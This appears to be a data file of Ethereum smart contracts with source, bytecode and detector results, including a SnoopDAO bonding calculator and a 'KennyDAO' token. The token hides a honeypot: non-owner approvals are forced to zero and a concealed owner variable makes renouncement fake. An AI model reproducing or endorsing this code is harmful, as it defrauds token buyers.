3d6000fd5b5050565b600060125482111561253d576011549050612552565b60105482111561255157600f549050612552565b5b9190505600a165627a7a72305820e38c164edc85ae62928dbd3be21418c8a2247777f19b3b6ad882252f856456f60029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,904
0x3D1E546df52D7AF8ADCFDA1610c5fd0f23dcba9E
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a uq112x112 into a uint with 18 decimals of precision function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } interface IERC20 { function decimals() external view returns (uint8); } interface IUniswapV2ERC20 { function totalSupply() external view returns (uint); } interface IUniswapV2Pair is IUniswapV2ERC20 { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function token0() external view returns ( address ); function token1() external view returns ( address ); } interface IBondingCalculator { function valuation( address pair_, uint amount_ ) external view returns ( uint _value ); } contract SnoopDAOBondingCalculator is IBondingCalculator { using FixedPoint for *; using SafeMath for uint; using SafeMath for uint112; address public immutable SNOOP; constructor( address _SNOOP ) { require( _SNOOP != address(0) ); SNOOP = _SNOOP; } function getKValue( address _pair ) public view returns( uint k_ ) { uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals(); uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals(); uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() ); (uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); k_ = reserve0.mul(reserve1).div( 10 ** decimals ); } function getTotalValue( address _pair ) public view returns ( uint _value ) { _value = getKValue( _pair ).sqrrt().mul(2); } function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) { uint totalValue = getTotalValue( _pair ); uint totalSupply = IUniswapV2Pair( _pair ).totalSupply(); _value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 ); } function markdown( address _pair ) external view returns ( uint ) { ( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); uint reserve; if ( IUniswapV2Pair( _pair ).token0() == SNOOP ) { reserve = reserve1; } else { reserve = reserve0; } return reserve.mul( 2 * ( 10 ** IERC20( SNOOP ).decimals() ) ).div( getTotalValue( _pair ) ); } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806332da80a31461005c57806339bbaed2146100b45780634249719f146100e8578063490084ef1461014a57806368637549146101a2575b600080fd5b61009e6004803603602081101561007257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506101fa565b6040518082815260200191505060405180910390f35b6100bc61047b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610134600480360360408110156100fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061049f565b6040518082815260200191505060405180910390f35b61018c6004803603602081101561016057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061057a565b6040518082815260200191505060405180910390f35b6101e4600480360360208110156101b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610928565b6040518082815260200191505060405180910390f35b60008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561024557600080fd5b505afa158015610259573d6000803e3d6000fd5b505050506040513d606081101561026f57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060007f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561033857600080fd5b505afa15801561034c573d6000803e3d6000fd5b505050506040513d602081101561036257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614156103975781905061039b565b8290505b6104716103a786610928565b6104637f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561041057600080fd5b505afa158015610424573d6000803e3d6000fd5b505050506040513d602081101561043a57600080fd5b810190808051906020019092919050505060ff16600a0a6002028461095590919063ffffffff16565b6109db90919063ffffffff16565b9350505050919050565b7f0000000000000000000000008715ca97c5b464c1957cefbd18015b5567e5206081565b6000806104ab84610928565b905060008473ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104f557600080fd5b505afa158015610509573d6000803e3d6000fd5b505050506040513d602081101561051f57600080fd5b81019080805190602001909291905050509050610570670de0b6b3a764000061056261055361054e8886610a25565b610d06565b8561095590919063ffffffff16565b6109db90919063ffffffff16565b9250505092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c357600080fd5b505afa1580156105d7573d6000803e3d6000fd5b505050506040513d60208110156105ed57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561064357600080fd5b505afa158015610657573d6000803e3d6000fd5b505050506040513d602081101561066d57600080fd5b810190808051906020019092919050505060ff16905060008373ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156106cb57600080fd5b505afa1580156106df573d6000803e3d6000fd5b505050506040513d60208110156106f557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561074b57600080fd5b505afa15801561075f573d6000803e3d6000fd5b505050506040513d602081101561077557600080fd5b810190808051906020019092919050505060ff16905060006108358573ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d657600080fd5b505afa1580156107ea573d6000803e3d6000fd5b505050506040513d602081101561080057600080fd5b810190808051906020019092919050505060ff166108278486610d4290919063ffffffff16565b610dca90919063ffffffff16565b90506000808673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561088057600080fd5b505afa158015610894573d6000803e3d6000fd5b505050506040513d60608110156108aa57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915061091c83600a0a61090e838561095590919063ffffffff16565b6109db90919063ffffffff16565b95505050505050919050565b600061094e600261094061093b8561057a565b610e14565b61095590919063ffffffff16565b9050919050565b60008083141561096857600090506109d5565b600082840290508284828161097957fe5b04146109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112146021913960400191505060405180910390fd5b809150505b92915050565b6000610a1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e84565b905092915050565b610a2d6111bc565b60008211610a86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111ee6026913960400191505060405180910390fd5b6000831415610ac457604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509050610d00565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff71ffffffffffffffffffffffffffffffffffff168311610bfd57600082607060ff1685901b81610b1157fe5b0490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610bc8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050610d00565b6000610c19846e01000000000000000000000000000085610f4a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610ccf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509150505b92915050565b60006612725dd1d243ab82600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681610d3a57fe5b049050919050565b600080828401905083811015610dc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610e0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100c565b905092915050565b60006003821115610e71578190506000610e39610e328460026109db565b6001610d42565b90505b81811015610e6b57809150610e64610e5d610e5785846109db565b83610d42565b60026109db565b9050610e3c565b50610e7f565b60008214610e7e57600190505b5b919050565b60008083118290610f30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ef5578082015181840152602081019050610eda565b50505050905090810190601f168015610f225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f3c57fe5b049050809150509392505050565b6000806000610f5986866110cc565b9150915060008480610f6757fe5b868809905082811115610f7b576001820391505b8083039250848210610ff5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f7700000000000081525060200191505060405180910390fd5b61100083838761111f565b93505050509392505050565b60008383111582906110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561107e578082015181840152602081019050611063565b50505050905090810190601f1680156110ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff806110f957fe5b84860990508385029250828103915082811015611117576001820391505b509250929050565b600080826000038316905080838161113357fe5b04925080858161113f57fe5b049450600181826000038161115057fe5b04018402850194506000600190508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808602925050509392505050565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212207b4d16cdf9c9f98868f341a2924196cc0771b88644c94ea6d26c873673e26f1964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
6,905
0x1d19fb198bf3cb5fe44a7d4be9753d7eda15b420
/** *Submitted for verification at Etherscan.io on 2022-03-16 */ /* ✅$KENNY was created by a team of devs who live with speech impediments who have come together to help kids also living with the same disorder to find their voices! It is a space for anyone living with speech impediemtns to feel comfortable to discuss their disorder and feel welcomed without judgment Tokenomics: Buy Tax 9% Sell Tax 12% (21% for 24 hours) 🐦 Twitter: https://twitter.com/kennydaoETH 🌐 Website: kennydao.com 📱 Telegram: https://t.me/KennyDAO */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract KennyDAO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'KennyDAO ' ; string private _symbol = 'KENNY ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122000faad70105ebfa93d519efaec97ba25fbbb537e0376326f94604810f41e765264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,906
0x869c571a6907cf21e0ddeb905bf394cbfd82c0e4
